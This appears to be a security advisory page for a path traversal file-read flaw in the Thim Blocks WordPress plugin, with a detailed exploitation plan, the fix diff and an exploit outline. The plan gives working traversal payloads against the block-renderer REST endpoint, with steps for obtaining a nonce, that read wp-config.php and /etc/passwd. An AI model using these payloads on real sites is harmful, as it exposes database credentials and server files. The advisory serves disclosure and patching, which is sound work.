Gutenberg Thim Blocks <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read via 'iconSVG' Parameter
Description
The Gutenberg Thim Blocks – Page Builder, Gutenberg Blocks for the Block Editor plugin for WordPress is vulnerable to arbitrary file reads in all versions up to, and including, 1.0.1. This is due to insufficient path validation in the server-side rendering of the thim-blocks/icon block. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server via the 'iconSVG' parameter, which can contain sensitive information such as wp-config.php.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.0.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13725 (Thim Blocks) ## 1. Vulnerability Summary The **Thim Blocks** plugin (versions <= 1.0.1) contains a path traversal vulnerability in the server-side rendering logic of the `thim-blocks/icon` Gutenberg block. The `iconSVG` attribute is used to specify a fi…
Show full research plan
Exploitation Research Plan: CVE-2025-13725 (Thim Blocks)
1. Vulnerability Summary
The Thim Blocks plugin (versions <= 1.0.1) contains a path traversal vulnerability in the server-side rendering logic of the thim-blocks/icon Gutenberg block. The iconSVG attribute is used to specify a file path or content for an icon, but the server-side render callback fails to validate or sanitize this path. This allows an authenticated user with at least Contributor permissions (who can create or edit posts) to read arbitrary files from the server's filesystem, including sensitive files like wp-config.php.
2. Attack Vector Analysis
- Block Name:
thim-blocks/icon - Vulnerable Parameter:
attributes[iconSVG](sent via REST API or embedded in post content) - Endpoint:
/wp-json/wp/v2/block-renderer/thim-blocks/icon - Required Authentication: Contributor or higher.
- Preconditions: The user must be authenticated to WordPress and have a valid REST API nonce (
wp_restaction).
3. Code Flow (Inferred)
- Registration: The plugin registers a Gutenberg block named
thim-blocks/iconusingregister_block_type(). - Callback: The registration includes a
render_callbackfunction (e.g.,render_thim_blocks_icon) designed to handle the dynamic rendering of the block on the server. - Attribute Access: Inside the callback, the code retrieves the
iconSVGattribute:$attributes['iconSVG']. - Sink: The code likely passes this attribute directly to a file-reading function like
file_get_contents()orinclude()without checking for directory traversal sequences (../) or ensuring the path is restricted to the plugin's directory. - Output: The content of the file is then echoed or returned as part of the block's HTML, which is sent back to the user in the REST API response or rendered on the page.
4. Nonce Acquisition Strategy
The vulnerability is most efficiently exploited via the built-in WordPress Block Renderer REST API. This endpoint requires a nonce for the wp_rest action.
Steps to obtain the wp_rest nonce as a Contributor:
- Login: Authenticate as the Contributor user.
- Access Admin: Navigate to a page where the REST API is initialized, such as the "Add New Post" screen (
/wp-admin/post-new.php). - Extract Nonce: Use
browser_evalto extract the nonce from the standard WordPress global object.- JavaScript:
window.wpApiSettings.nonce - Alternative: Look for the
_wpnoncevalue in thewp-adminsource or localized scripts.
- JavaScript:
5. Exploitation Strategy
The goal is to read wp-config.php using the Block Renderer API.
HTTP Request (REST API Method)
- Method:
GET - URL:
http://<target>/wp-json/wp/v2/block-renderer/thim-blocks/icon - Parameters:
context:editattributes[iconSVG]:../../../../wp-config.php(Adjust depth as necessary)_wpnonce:[Extracted Nonce]
- Headers:
Cookie:[Contributor Auth Cookies]
Step-by-Step Plan:
- Authentication: Log in via
http_requestorbrowser_navigate. - Nonce Extraction:
- Navigate to
http://<target>/wp-admin/post-new.php. - Execute
browser_eval("window.wpApiSettings.nonce").
- Navigate to
- File Read Execution:
- Use
http_requestto call the block renderer. - Payload 1 (Linux):
attributes[iconSVG]=../../../../../../../../../../etc/passwd - Payload 2 (WordPress):
attributes[iconSVG]=../../../../wp-config.php
- Use
- Data Extraction: Parse the JSON response. The file content will likely be inside the
renderedkey's HTML.
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Plugin Activation: Ensure
thim-blocksis installed and active.wp plugin activate thim-blocks
- Target File: Ensure
wp-config.phpis in the standard location (WordPress root).
7. Expected Results
- Success: The HTTP response status is
200 OK. - Response Body: A JSON object containing a
renderedfield. - Content: The
renderedfield contains the raw PHP source code ofwp-config.php(e.g.,<?php ... define('DB_NAME', '...'); ... ?>) or the content of/etc/passwd.
8. Verification Steps
- Manual Inspection: Check the output of the
http_requestfor string matches likeDB_PASSWORDorroot:x:0:0:. - WP-CLI Comparison: Run
wp config get --format=jsonand compare the database name/credentials found in the exploit output to verify accuracy.
9. Alternative Approaches
If the Block Renderer API is restricted or not behaving as expected:
- Post Injection:
- As a Contributor, create a new post.
- Set the post content to include the malicious block:
<!-- wp:thim-blocks/icon {"iconSVG":"../../../../wp-config.php"} /--> - Save the post as a draft.
- View the Preview of the post. The preview will trigger the server-side render callback and display the file content in the browser.
- Traversal Depth: If
../../../../wp-config.phpfails, increase depth (e.g.,../../../../../../../../wp-config.php) or try absolute paths if the sink allows (e.g.,/var/www/html/wp-config.php).
Summary
The Gutenberg Thim Blocks plugin for WordPress is vulnerable to arbitrary file reading via the 'iconSVG' attribute in the 'thim-blocks/icon' block. Authenticated attackers with Contributor-level permissions can exploit this vulnerability to read sensitive server-side files, such as wp-config.php, due to insufficient validation of file paths in the block's server-side rendering callback.
Security Fix
@@ -10,6 +10,11 @@ function render_thim_blocks_icon($attributes) { $iconSVG = isset($attributes['iconSVG']) ? $attributes['iconSVG'] : ''; + // Sanitize and validate the path to prevent directory traversal + if ( ! empty($iconSVG) && ( validate_file( $iconSVG ) !== 0 || strpos( $iconSVG, '..' ) !== false ) ) { + return ''; + } + if ( ! empty($iconSVG) && file_exists($iconSVG) ) { return file_get_contents($iconSVG); }
Exploit Outline
To exploit this vulnerability, an attacker follows these steps: 1. Authenticate as a Contributor or higher role. 2. Retrieve a valid WordPress REST API nonce (found in the 'wpApiSettings' JavaScript object in the admin dashboard). 3. Send a GET request to the '/wp-json/wp/v2/block-renderer/thim-blocks/icon' endpoint. 4. Include the 'attributes[iconSVG]' parameter set to a traversal path like '../../../../wp-config.php'. 5. The server will process the request and return the contents of the file within the 'rendered' property of the resulting JSON object.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.